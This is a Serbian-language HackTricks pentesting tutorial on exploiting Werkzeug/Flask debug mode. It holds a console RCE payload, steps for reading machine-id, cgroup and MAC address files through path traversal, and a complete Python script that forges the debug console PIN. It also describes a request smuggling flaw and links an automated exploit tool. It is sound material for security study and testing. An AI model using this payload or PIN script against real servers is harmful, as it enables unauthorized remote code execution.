Werkzeug / Flask Debug

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Console RCE

Ako je debagovanje aktivno, možete pokušati da pristupite /console i dobijete RCE.

python
__import__('os').popen('whoami').read();

Postoji nekoliko eksploita na internetu kao što je ovaj ili jedan u metasploit-u.

Zaštićeno PIN-om - Putanja Prelaz

U nekim slučajevima, /console krajnja tačka će biti zaštićena PIN-om. Ako imate ranjivost u prelazu datoteka, možete otkriti sve potrebne informacije za generisanje tog PIN-a.

Werkzeug Console PIN Eksploit

Prisilite stranicu sa greškom za debagovanje u aplikaciji da biste videli ovo:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Poruka u vezi sa scenarijom "konzola zaključana" se pojavljuje kada se pokušava pristupiti Werkzeug-ovom debug interfejsu, ukazujući na potrebu za PIN-om za otključavanje konzole. Predlaže se da se iskoristi PIN konzole analizom algoritma za generisanje PIN-a u Werkzeug-ovom fajlu za inicijalizaciju debug-a (__init__.py). Mehanizam generisanja PIN-a može se proučiti iz Werkzeug source code repository, iako se savetuje da se pribavi stvarni kod servera putem ranjivosti u pretraživanju fajlova zbog mogućih razlika u verzijama.

Da bi se iskoristio PIN konzole, potrebna su dva skupa varijabli, probably_public_bits i private_bits:

probably_public_bits

  • username: Odnosi se na korisnika koji je pokrenuo Flask sesiju.
  • modname: Obično označen kao flask.app.
  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Obično se rešava u Flask.
  • getattr(mod, '__file__', None): Predstavlja punu putanju do app.py unutar Flask direktorijuma (npr., /usr/local/lib/python3.5/dist-packages/flask/app.py). Ako app.py nije primenljiv, probajte app.pyc.

private_bits

  • uuid.getnode(): Dohvata MAC adresu trenutne mašine, pri čemu str(uuid.getnode()) prevodi u decimalni format.

  • Da bi se odredila MAC adresa servera, potrebno je identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr., ens3). U slučajevima nesigurnosti, procurite /proc/net/arp da biste pronašli ID uređaja, zatim izvucite MAC adresu iz /sys/class/net/<device id>/address.

  • Konverzija heksadecimalne MAC adrese u decimalnu može se izvršiti kao što je prikazano u nastavku:

python
# Primer MAC adrese: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Spaja podatke iz /etc/machine-id ili /proc/sys/kernel/random/boot_id sa prvom linijom /proc/self/cgroup posle poslednjeg kosa (/).
Code for `get_machine_id()`
python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:

Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN:

Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN. Skripta koristi sastavljene probably_public_bits i private_bits da kreira heš, koji zatim prolazi kroz dalju obradu da bi proizvela konačni PIN. Ispod je Python kod za izvršavanje ovog procesa:

python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Ovaj skript generiše PIN tako što hešira spojene bitove, dodaje specifične soli (cookiesalt i pinsalt), i formatira izlaz. Važno je napomenuti da se stvarne vrednosti za probably_public_bits i private_bits moraju tačno dobiti iz ciljanog sistema kako bi se osiguralo da generisani PIN odgovara onom koji očekuje Werkzeug konzola.

tip

Ako koristite staru verziju Werkzeug-a, pokušajte da promenite heš algoritam na md5 umesto sha1.

Werkzeug Unicode karakteri

Kao što je primećeno u ovom problemu, Werkzeug ne zatvara zahtev sa Unicode karakterima u header-ima. I kao što je objašnjeno u ovoj analizi, to može izazvati CL.0 Request Smuggling ranjivost.

To je zato što je u Werkzeug-u moguće poslati neke Unicode karaktere i to će uzrokovati kvar servera. Međutim, ako je HTTP veza kreirana sa header-om Connection: keep-alive, telo zahteva neće biti pročitano i veza će i dalje biti otvorena, tako da će telo zahteva biti tretirano kao sledeći HTTP zahtev.

Automatizovana Eksploatacija

GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :)

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks